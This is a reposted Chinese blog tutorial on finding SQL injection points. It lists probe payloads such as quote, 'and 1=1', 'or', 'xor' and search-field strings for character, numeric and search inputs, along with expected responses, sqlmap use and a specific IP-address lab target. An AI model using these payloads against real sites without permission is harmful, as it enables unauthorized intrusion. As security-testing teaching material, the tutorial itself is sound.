sql注入点的判断

最为经典的单引号判断法: 在参数后面加上单引号,比如:

http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

输入域的值为字符型

  ‘and '1'='1 和 ’and '1'='2来判断
  http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。          
  http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
构造测试                            预期结果                                 变种
a'                      //触发错误,返回数据库错误                              
a' or '1'='1            //永真条件,返回所有记录                   a') or ('1'=1   
a' or '1'='2            //空条件,返回原来相同结果                  a') or ('1'=2
a' and '1'='2           //永假条件,不返回记录                      a') and ('1'='2
  
  
  • 1
  • 2
  • 3
  • 4
  • 5

输入域的值为数字型

用1=1,1=2法

若满足条件,则存在SQL注入漏洞,程序没有对提交的整型参数的合法性做过滤或判断

    http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
构造测试                            预期结果                                 变种
'                       //触发错误,返回数据库错误                  
1+1                     //返回原来相同的结果                           3-1
1+0                     //返回原来相同的结果                     
1 or 1=1                //永真条件,返回所有记录                        1) or (1=1
1 or 1=2                //空条件,返回原来相同的结果                     1) or (1=2
1 and 1=2               //永假条件,不返回记录                          1) and (1=2
  
  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
1.单引号判断
    http://www.xxx.com/xxx.asp?id=10' 如果出现错误提示,则该网站可能就存在注入漏洞。

2.and判断
    http://www.xxx.com/xxx.asp?id=10'and 1=1这个条件永远都是真的,所以当然返回是正常页
    http://www.xxx.com/xxx.asp?id=10'and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。

3.Or判断(OR是提交返回正确有注入点)
    http://www.xxx.com/xxx.asp?id=10'or 1=1
    http://www.xxx.com/xxx.asp?id=10'or 1=2

4.xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
    http://www.xxx.com/xxx.asp?id=10'xor 1=1
    http://www.xxx.com/xxx.asp?id=10'xor 1=2

5.加减号数字判断(加上-1,返回错误页面,则也表示存在注入漏洞.)
    http://www.xxx.com/xxx.asp?id=10-0
    http://www.xxx.com/xxx.asp?id=10-1
    http://www.xxx.com/xxx.asp?id=10+1

6.输入框判断
    可以使用特殊符号去判断
    #@!$/ ...

http://120.24.86.145:9001/sql/
登录框注入,使用#,--都无效,但是使用\报错,这时候上sqlmap,发现可以注入。

输入域的值为搜索型

  在输入框输入%'and '1'='1' and '%'='
            %'and '1'='2' and '%'='
两次查询出来的结果不相同,那么就可以确定存在注入了。

服务端返回错误形式

 1. 错误直接回显在页面上
 2. 错误隐藏在页面源代码中
 3. 检测到错误跳转到另一个页面
 4. 返回HTTP错误代码500或重定向302
 5. 适当处理错误结果,常显示一个通用错误页面

猜你喜欢

转载自blog.csdn.net/weixin_39157582/article/details/86656782